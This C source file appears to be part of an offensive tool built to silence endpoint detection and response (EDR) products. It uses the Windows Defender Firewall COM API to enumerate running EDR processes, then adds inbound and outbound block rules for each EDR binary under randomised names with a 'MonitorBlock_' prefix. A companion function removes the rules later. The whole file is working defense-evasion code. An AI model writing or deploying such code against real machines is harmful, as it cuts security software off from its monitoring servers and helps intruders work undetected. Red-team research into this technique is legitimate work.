WindowsDefenderFirewall/firewall.c
# include "common.h"

#ifndef FIREWALL_PROFILE_ALL
#define FIREWALL_PROFILE_ALL 0x7FFFFFFF
#endif

// Initializes the COM instance of the firewall policy
HRESULT InitializeFirewallPolicy(IN INetFwPolicy2** ppFirewallPolicy) {

    HRESULT     hResult     = S_OK; // Result from COM functions
    IUnknown*   pUnknown    = NULL; // IUnknown placeholder if needed

    // Initialize COM library
    // https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializeex
    hResult = CoInitializeEx(0, COINIT_APARTMENTTHREADED);
    if (hResult != RPC_E_CHANGED_MODE && FAILED(hResult)) {
        error("CoInitializeEx - COM initialization failed (0x%08lx)", hResult);
        return hResult;
    }
    //info_t("CoInitializeEx - COM initialized successfully");

    // Create instance of the firewall policy
    // https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
    hResult = CoCreateInstance(
        &CLSID_NetFwPolicy2,         // CLSID of NetFwPolicy2
        NULL,                        // Not aggregating
        CLSCTX_INPROC_SERVER,        // Context
        &IID_INetFwPolicy2,          // Interface ID
        (void**)ppFirewallPolicy     // Out pointer to policy interface
    );
    if (FAILED(hResult)) {
        error("CoCreateInstance - Failed to get INetFwPolicy2 interface (0x%08lx)", hResult);
        return hResult;
    }
    //info_t("CoCreateInstance - INetFwPolicy2 interface initialized");

    return hResult;
}

// Check if the firewall is active on any profile
BOOL CheckFirewallStatus() {

    BOOL            bSTATE              = TRUE;             // Return state
    HRESULT         hInitStatus         = E_FAIL;           // COM init result
    HRESULT         hResult             = S_OK;             // General HRESULT
    INetFwPolicy2*  pFirewallPolicy     = NULL;             // Firewall policy interface
    long            lActiveProfiles     = 0;                // Bitmask of active profiles
    VARIANT_BOOL    bFirewallEnabled    = VARIANT_TRUE;     // Overall firewall status
    VARIANT_BOOL    bProfileEnabled     = VARIANT_FALSE;    // Per-profile firewall status
    DWORD           dwIndex             = 0;                // Loop counter

    struct profileDetails {
        NET_FW_PROFILE_TYPE2 ProfileType;                   // Profile type constant
        LPCWSTR              ProfileName;                   // Profile name string
    };

    struct profileDetails profiles[3];
    profiles[0].ProfileType = NET_FW_PROFILE2_DOMAIN;
    profiles[0].ProfileName = L"Domain";
    profiles[1].ProfileType = NET_FW_PROFILE2_PRIVATE;
    profiles[1].ProfileName = L"Private";
    profiles[2].ProfileType = NET_FW_PROFILE2_PUBLIC;
    profiles[2].ProfileName = L"Public";

    // Initialize the firewall policy interface
    hInitStatus = InitializeFirewallPolicy(&pFirewallPolicy);
    if (FAILED(hInitStatus)) {
        error("InitializeFirewallPolicy - Failed to initialize firewall policy interface (0x%08lx)", hInitStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    //info_t("InitializeFirewallPolicy - Firewall policy interface initialized");

    // Get active profiles
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwpolicy2-get_currentprofiletypes
    hResult = pFirewallPolicy->lpVtbl->get_CurrentProfileTypes(pFirewallPolicy, &lActiveProfiles);
    if (FAILED(hResult)) {
        error("get_CurrentProfileTypes - Unable to retrieve active firewall profiles (0x%08lx)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    //info_t("get_CurrentProfileTypes - Active profile bitmask: 0x%lx", lActiveProfiles);

    // Loop over three firewall profiles
    for (dwIndex = 0; dwIndex < 3; dwIndex++) {

        // Check if the profile is currently active
        if (lActiveProfiles & profiles[dwIndex].ProfileType) {

            // Check if the firewall is enabled for the current active profile
            // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwpolicy2-get_firewallenabled
            hResult = pFirewallPolicy->lpVtbl->get_FirewallEnabled(
                pFirewallPolicy,
                profiles[dwIndex].ProfileType,
                &bProfileEnabled
            );
            if (FAILED(hResult)) {
                error("get_FirewallEnabled - Unable to retrieve firewall status for %ws profile (0x%08lx)", profiles[dwIndex].ProfileName,hResult);
                bSTATE = FALSE;
                goto _cleanUp;
            }

            // If the firewall is disabled for this active profile
            if (bProfileEnabled == VARIANT_FALSE) {
                info_t("get_FirewallEnabled - Firewall is disabled on the active '%ws' profile", profiles[dwIndex].ProfileName);
                bFirewallEnabled = VARIANT_FALSE;
                bSTATE = FALSE;
            }
            else {
                info_t("get_FirewallEnabled - Firewall is enabled on '%ws' profile", profiles[dwIndex].ProfileName);
            }
        }
    }

    // Set FALSE if any active profile had the firewall disabled
    if (bFirewallEnabled != VARIANT_TRUE) {
        bSTATE = FALSE; 
    }

_cleanUp:

    if (pFirewallPolicy) {
        pFirewallPolicy->lpVtbl->Release(pFirewallPolicy);
        info_t("Release - Firewall policy interface released");
    }

    if (SUCCEEDED(hInitStatus)) {
        CoUninitialize();
        info_t("CoUninitialize - COM uninitialized");
    }

    return bSTATE;
}

BOOL bRandSeeded = FALSE; // Used to ensure srand is only called once

// Generate a unique firewall rule name with a fixed prefix
WCHAR* GenerateUniqueRuleName(OUT WCHAR* pwszRuleName, IN SIZE_T sTotalLength) {

    BOOL    bSTATE          = TRUE;                                                                 // Return state,
    SIZE_T  sPrefixLength   = 0;                                                                    // Length of the static prefix
    LPCWSTR pwszPrefix      = FIREWALL_RULE_PREFIX;                                                 // Rule name prefix
    LPCWSTR wszCharset      = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";     // Charset for random suffix

    // Only seed once
    static BOOL bRandSeeded = FALSE;
    if (!bRandSeeded) {
        srand((unsigned int)time(NULL));
        bRandSeeded = TRUE;
    }

    // Calc prefix length 
    sPrefixLength = wcslen(pwszPrefix);

    // Fail-safe: make sure buffer is large enough
    if (sTotalLength <= sPrefixLength + 1) {
        wcscpy_s(pwszRuleName, sTotalLength, pwszPrefix);
        pwszRuleName[sTotalLength - 1] = L'\0';
        return pwszRuleName;
    }

    // Copy prefix
    wcscpy_s(pwszRuleName, sTotalLength, pwszPrefix);

    // Append random characters
    for (SIZE_T i = sPrefixLength; i < sTotalLength - 1; i++) {
        int iKey = rand() % (int)wcslen(wszCharset);
        pwszRuleName[i] = wszCharset[iKey];
    }

    pwszRuleName[sTotalLength - 1] = L'\0';
    return pwszRuleName;
}

// Add a firewall rule to block specific binary
BOOL AddFirewallBlockRule(IN WCHAR* pwszBinaryPath, IN NET_FW_RULE_DIRECTION direction, IN WCHAR* pwszRuleName) {

    BOOL				bSTATE              = TRUE;	    // Return state
    HRESULT             hInitStatus         = E_FAIL;	// COM initialization status
    HRESULT             hResult             = S_OK;		// General HRESULT from COM functions
    INetFwPolicy2* pFirewallPolicy          = NULL;	    // Firewall policy interface
    INetFwRules* pRules                     = NULL;	    // Firewall rules collection
    INetFwRule* pRule                       = NULL;	    // New firewall rule object
    BSTR				bstrRuleName        = NULL;	    // Rule name in BSTR format
    BSTR				bstrRuleDescription = NULL;	    // Rule description in BSTR format
    BSTR				bstrBinaryPath      = NULL;	    // Binary path of the application in BSTR format

    // Initialize the firewall policy interface
    // https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
    hInitStatus = InitializeFirewallPolicy(&pFirewallPolicy);
    if (FAILED(hInitStatus)) {
        error("InitializeFirewallPolicy - Failed to initialize firewall policy (0x%08lX)", hInitStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Convert input strings to BSTRs
    // https://learn.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
    bstrRuleName = SysAllocString(pwszRuleName);
    bstrRuleDescription = SysAllocString(pwszRuleName); // Using rule name as description
    bstrBinaryPath = SysAllocString(pwszBinaryPath);

    if (!(bstrRuleName && bstrRuleDescription && bstrBinaryPath)) {
        error("SysAllocString - Failed to allocate BSTR strings");
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Get the firewall rules interface
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwpolicy2-get_rules
    hResult = pFirewallPolicy->lpVtbl->get_Rules(pFirewallPolicy, &pRules);
    if (FAILED(hResult)) {
        error("INetFwPolicy2::get_Rules - Failed to get rules interface (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Create a new INetFwRule instance
    // https://learn.microsoft.com/en-us/windows/win32/api/objbase/nf-objbase-cocreateinstance
    hResult = CoCreateInstance(
        &CLSID_NetFwRule,            // CLSID of NetFwRule COM object
        NULL,                        // Not aggregating
        CLSCTX_INPROC_SERVER,        // In-process server context
        &IID_INetFwRule,             // IID of the rule interface
        (void**)&pRule               // Out pointer to interface
    );
    if (FAILED(hResult)) {
        error("CoCreateInstance - Failed to create INetFwRule (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Set rule name
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrule-put_name
    hResult = pRule->lpVtbl->put_Name(pRule, bstrRuleName);
    if (FAILED(hResult)) {
        error("put_Name - Failed to set rule name (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Set description
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrule-put_description
    hResult = pRule->lpVtbl->put_Description(pRule, bstrRuleDescription);
    if (FAILED(hResult)) {
        error("put_Description - Failed to set rule description (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Set binary path
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrule-put_applicationname
    hResult = pRule->lpVtbl->put_ApplicationName(pRule, bstrBinaryPath);
    if (FAILED(hResult)) {
        error("put_ApplicationName - Failed to set binary path (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Set protocol to ANY
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrule-put_protocol
    hResult = pRule->lpVtbl->put_Protocol(pRule, NET_FW_IP_PROTOCOL_ANY);
    if (FAILED(hResult)) {
        error("put_Protocol - Failed to set protocol (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Set direction (in or out)
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrule-put_direction
    hResult = pRule->lpVtbl->put_Direction(pRule, direction);
    if (FAILED(hResult)) {
        error("put_Direction - Failed to set direction (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Set rule to apply to all profiles
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrule-put_profiles
    hResult = pRule->lpVtbl->put_Profiles(pRule, FIREWALL_PROFILE_ALL);
    if (FAILED(hResult)) {
        error("put_Profiles - Failed to apply to all profiles (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Set rule action to block
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrule-put_action
    hResult = pRule->lpVtbl->put_Action(pRule, NET_FW_ACTION_BLOCK);
    if (FAILED(hResult)) {
        error("put_Action - Failed to set rule action (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Enable the rule
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrule-put_enabled
    hResult = pRule->lpVtbl->put_Enabled(pRule, VARIANT_TRUE);
    if (FAILED(hResult)) {
        error("put_Enabled - Failed to enable the rule (0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Add the rule to the rules collection
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrules-add
    hResult = pRules->lpVtbl->Add(pRules, pRule);
    if (FAILED(hResult)) {
        error("INetFwRules::Add - Failed to add rule for \"%ls\" (0x%08lX)", pwszBinaryPath, hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

_cleanUp:

    // Release COM interfaces
    if (pRule) {
        pRule->lpVtbl->Release(pRule);
    }

    if (pRules) {
        pRules->lpVtbl->Release(pRules);
    }

    if (pFirewallPolicy) {
        pFirewallPolicy->lpVtbl->Release(pFirewallPolicy);
    }

    // Free allocated BSTR strings
    if (bstrRuleName) { 
        SysFreeString(bstrRuleName); 
    }

    if (bstrRuleDescription) { 
        SysFreeString(bstrRuleDescription); 
    }

    if (bstrBinaryPath) { 
        SysFreeString(bstrBinaryPath); 
    }

    // Uninitialize COM if it was initialized
    if (SUCCEEDED(hInitStatus)) {
        CoUninitialize();
    }

    return bSTATE;
}

// Block network traffic for known EDR processes by adding Windows Defender Firewall rules
BOOL BlockTraffic() {

    BOOL            bSTATE              = TRUE; // Return state
    DWORD           dwIndex             = 0;    // Loop counter
    DWORD           dwPID               = 0;    // PID of the EDR process
    LPWSTR          pwszInboundRule     = NULL; // Name for inbound rule
    LPWSTR          pwszOutboundRule    = NULL; // Name for outbound rule
    HANDLE          hProcessHeap        = NULL; // Handle to the process heap
    PPROCESS_ENTRY  pProcList           = NULL; // Stores pointer to the custom process list struct
    DWORD           dwProcCount         = 0;    // Stores the amount of processes

    // Enumerate all the processes
    if (!EnumerateEDRProcesses(&pProcList, &dwProcCount)) {
        error("EnumerateEDRProcesses - Failed to enumerate running processes");
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("EnumerateEDRProcesses - %i EDR Processes enumerated", dwProcCount);

    // Get handle to the heap once
    hProcessHeap = GetProcessHeap();

    // Print EDR Process info
    for (DWORD i = 0; i < dwProcCount; i++) {
        infoW_t("\tMatched EDR process: \"%ls\" with PID %d and full path \"%ls\"", pProcList[i].pwszName, pProcList[i].dwPid, pProcList[i].pwszPath);
    }

    info("BlockTraffic - Looping through EDR processes and creating Windows Defener Firewall Rules");
    for (DWORD i = 0; i < dwProcCount; i++) {

        // Allocate rule name buffers
        pwszInboundRule = (LPWSTR)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, (FIREWALL_RULE_NAME_MAX + 1) * sizeof(WCHAR));
        pwszOutboundRule = (LPWSTR)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, (FIREWALL_RULE_NAME_MAX + 1) * sizeof(WCHAR));

        if (!(pwszInboundRule && pwszOutboundRule)) {
            errorW("BlockTraffic - Memory allocation failed for rule creation \"%ls\"", pProcList[i].pwszPath);
            bSTATE = FALSE;
            goto _cleanUp;
        }

        // Generate unique strings for the names
        GenerateUniqueRuleName(pwszInboundRule, FIREWALL_RULE_NAME_MAX);
        GenerateUniqueRuleName(pwszOutboundRule, FIREWALL_RULE_NAME_MAX);

        // Add inbound rule
        if (!AddFirewallBlockRule(pProcList[i].pwszPath, NET_FW_RULE_DIR_IN, pwszInboundRule)) {
            errorW("AddFirewallBlockRule - Failed to create inbound rule for \"%ls\"", pProcList[i].pwszPath);
            bSTATE = FALSE;
            goto _cleanUp;
        }
        infoW_t("AddFirewallBlockRule - Inbound rule \"%ls\" created for \"%ls\"", pwszInboundRule, pProcList[i].pwszPath);

        // Add outbound rule
        if (!AddFirewallBlockRule(pProcList[i].pwszPath, NET_FW_RULE_DIR_OUT, pwszOutboundRule)) {
            errorW("AddFirewallBlockRule - Failed to create outbound rule for \"%ls\"", pProcList[i].pwszPath);
            bSTATE = FALSE;
            goto _cleanUp;
        }
        infoW_t("AddFirewallBlockRule - Outbound rule \"%ls\" created for \"%ls\"", pwszOutboundRule, pProcList[i].pwszPath);

        if (pwszInboundRule) {
            HeapFree(hProcessHeap, 0, pwszInboundRule);
            pwszInboundRule = NULL;
        }
        if (pwszOutboundRule) {
            HeapFree(hProcessHeap, 0, pwszOutboundRule);
            pwszOutboundRule = NULL;
        }
    }

_cleanUp:
    
    if (pwszInboundRule) {
        HeapFree(hProcessHeap, 0, pwszInboundRule);
    }
    if (pwszOutboundRule) {
        HeapFree(hProcessHeap, 0, pwszOutboundRule);
    }

    // Free the EDR process list entries
    if (pProcList) {
        for (DWORD i = 0; i < dwProcCount; i++) {
            if (pProcList[i].pwszName) {
                HeapFree(hProcessHeap, 0, pProcList[i].pwszName); // Free process name
                pProcList[i].pwszName = NULL;
            }
            if (pProcList[i].pwszPath) {
                HeapFree(hProcessHeap, 0, pProcList[i].pwszPath); // Free full process path
                pProcList[i].pwszPath = NULL;
            }
        }
        HeapFree(hProcessHeap, 0, pProcList); // Free the process list itself
        pProcList = NULL;
    }

    return bSTATE;
}

// Delete all Windows Firewall rules created by this tool (those starting with "MonitorBlock_")
BOOL UnblockTraffic() {

    BOOL                bSTATE          = TRUE;     // Return state
    HRESULT             hInitStatus     = E_FAIL;   // COM initialization result
    HRESULT             hResult         = S_OK;     // General HRESULT
    INetFwPolicy2*      pFirewallPolicy = NULL;     // Firewall policy interface
    INetFwRules*        pRules          = NULL;     // Firewall rules collection
    IUnknown*           pEnumerator     = NULL;     // Raw COM enumerator
    IEnumVARIANT*       pVariantEnum    = NULL;     // IEnumVARIANT interface for rules
    VARIANT             varRule         = { 0 };    // Current rule variant
    ULONG               ulFetched       = 0;        // Fetched item count

    // Initialize the firewall policy interface
    hInitStatus = InitializeFirewallPolicy(&pFirewallPolicy);
    if (FAILED(hInitStatus)) {
        error("InitializeFirewallPolicy - Failed to initialize firewall policy interface (0x%08lX)", hInitStatus);
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("InitializeFirewallPolicy - Firewall policy interface initialized");

    // Retrieve the rules collection
    // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwpolicy2-get_rules
    hResult = pFirewallPolicy->lpVtbl->get_Rules(pFirewallPolicy, &pRules);
    if (FAILED(hResult)) {
        error("INetFwPolicy2::get_Rules - Failed to retrieve firewall rules (HRESULT: 0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Retrieve the enumerator object from the rules
    // https://learn.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-idispatch-get_newenum
    hResult = pRules->lpVtbl->get__NewEnum(pRules, &pEnumerator);
    if (FAILED(hResult)) {
        error("INetFwRules::get__NewEnum - Failed to get rules enumerator (HRESULT: 0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Query the IEnumVARIANT interface from the enumerator
    // https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface
    hResult = pEnumerator->lpVtbl->QueryInterface(pEnumerator, &IID_IEnumVARIANT, (void**)&pVariantEnum);
    if (FAILED(hResult)) {
        error("IUnknown::QueryInterface - Failed to get IEnumVARIANT (HRESULT: 0x%08lX)", hResult);
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Initialize VARIANT for iteration
    VariantInit(&varRule);

    // Loop through all rules
    while (S_OK == pVariantEnum->lpVtbl->Next(pVariantEnum, 1, &varRule, &ulFetched)) {

        if (V_VT(&varRule) == VT_DISPATCH) {
            INetFwRule* pRule = NULL; // Rule interface pointer

            // Get INetFwRule interface
            // https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface
            hResult = V_DISPATCH(&varRule)->lpVtbl->QueryInterface(V_DISPATCH(&varRule), &IID_INetFwRule, (void**)&pRule);
            if (SUCCEEDED(hResult) && pRule) {
                BSTR bstrRuleName = NULL;

                // Get rule name
                // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrule-get_name
                hResult = pRule->lpVtbl->get_Name(pRule, &bstrRuleName);
                if (SUCCEEDED(hResult) && bstrRuleName) {

                    // Check if rule name starts with FIREWALL_RULE_PREFIX
                    if (wcsncmp(bstrRuleName, FIREWALL_RULE_PREFIX, wcslen(FIREWALL_RULE_PREFIX)) == 0) {

                        // Remove rule
                        // https://learn.microsoft.com/en-us/windows/win32/api/netfw/nf-netfw-inetfwrules-remove
                        hResult = pRules->lpVtbl->Remove(pRules, bstrRuleName);
                        if (SUCCEEDED(hResult)) {
                            infoW_t("INetFwRules::Remove - Removed rule \"%ls\"", bstrRuleName);
                        }
                        else {
                            error("INetFwRules::Remove - Failed to remove rule \"%ls\" (HRESULT: 0x%08lX)", bstrRuleName, hResult);
                            bSTATE = FALSE;
                        }
                    }

                    SysFreeString(bstrRuleName);
                }

                pRule->lpVtbl->Release(pRule);
            }
        }

        VariantClear(&varRule);
    }

_cleanUp:

    if (pVariantEnum) {
        pVariantEnum->lpVtbl->Release(pVariantEnum);
    }

    if (pEnumerator) {
        pEnumerator->lpVtbl->Release(pEnumerator);
    }

    if (pRules) {
        pRules->lpVtbl->Release(pRules);
    }

    if (pFirewallPolicy) {
        pFirewallPolicy->lpVtbl->Release(pFirewallPolicy);
    }

    if (SUCCEEDED(hInitStatus)) {
        CoUninitialize();
    }

    return bSTATE;
}

